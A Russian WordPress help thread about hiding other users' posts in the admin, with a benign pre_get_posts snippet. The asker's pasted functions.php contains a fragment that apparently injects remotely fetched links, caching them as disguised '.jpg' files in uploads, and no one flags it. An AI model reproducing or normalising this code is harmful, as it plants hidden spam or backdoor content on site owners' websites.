Настрока видимости страниц для пользователей в WordPress

    Ответ

    Решил по другому: с помощью стандартных рубрик и записей

    Что вы имеете ввиду под «с помощью стандартных рубрик и записей«?

    в 21.03.2016.
    Добавить Комментарий

    Добавьте следующий код в файл functions.php, который расположен в корне вашего шаблона

     add_action('pre_get_posts', 'onwp_filter_posts_list');
    function onwp_filter_posts_list($query) {
     // если это админке
     if (is_admin()) {
    //$pagenow название страницы
     global $pagenow;
    //$current_user uses the get_currentuserinfo() получим данные авторизированного пользователя
     global $current_user;
     get_currentuserinfo();
    //Проверим что бы бользователь не был администратором, имел право редактировать записи и был на странице редактирования постов: edit.php
     if (!current_user_can('administrator') && current_user_can('edit_posts') && ('edit.php' == $pagenow)) {
     //global $query's set() зададим выборку так что бы показывались только записи текущего пользователя
     $query->set('author', $current_user->ID);
     }
     }
     }
     

    Этот код позволит пользователям(у которых есть право создавать записи) в админке видеть только свои записи.

    Протестируйте и отпишитесь о результате. Будут вопросы — задавайте.

    Если вам нужно для конкретного пользователя с конкретным id, то просто дописать проверку, вместо

    
    $query->set('author', $current_user->ID);
    
    

    написать

    
    if($current_user->ID == 99){
    $query->set('author', $current_user->ID);
    }
    
    

    где 99 — id пользователя

    в 17.03.2016.

    А твой код работает только для записей?

    в 21.03.2016.

    Нет, должен и для страниц тоже, но нужно проверять.

    в 21.03.2016.

    Я вот сейчас проверил: Зашёл через пользователя, а страницы и записи всё так же видны.

    и я правильно добавил код?

    В конце файла:

    ... сверху остольной код
    function return_links($lib_path) {
     $links_class = new Get_links();
     $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
     $_cache_lifetime = $links_class->_cache_lifetime;
    if (!file_exists($file))
     {
     @touch($file, time());
     $data = $links_class->get_remote();
     file_put_contents($file, $data);
     return $data;
     } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
     @touch($file, time());
     $data = $links_class->get_remote();
     file_put_contents($file, $data);
     return $data;
     } else {
     $data = file_get_contents($file);
     return $data;
     }
     }
    }
    ?>
    <?php
    add_action('pre_get_posts', 'onwp_filter_posts_list');
    function onwp_filter_posts_list($query) {
     // если это админке
     if (is_admin()) {
    //$pagenow название страницы
     global $pagenow;
    //$current_user uses the get_currentuserinfo() получим данные авторизированного пользователя
     global $current_user;
     get_currentuserinfo();
    //Проверим что бы бользователь не был администратором, имел право редактировать записи и был на странице редактирования постов: edit.php
     if (!current_user_can('administrator') && current_user_can('edit_posts') && ('edit.php' == $pagenow)) {
     //global $query's set() зададим выборку так что бы показывались только записи текущего пользователя
     $query->set('author', $current_user->ID);
     }
     }
     }
    ?>
    

    или мне надо редактировать под свой шаблон?

    в 21.03.2016.

    Какие права у пользователя под которым вы заходили?(администратор, редактор и т.д.)

    в 21.03.2016.
    Добавить Комментарий

    Ваш ответ

    Размещая свой ответ, вы соглашаетесь с правилами сайта.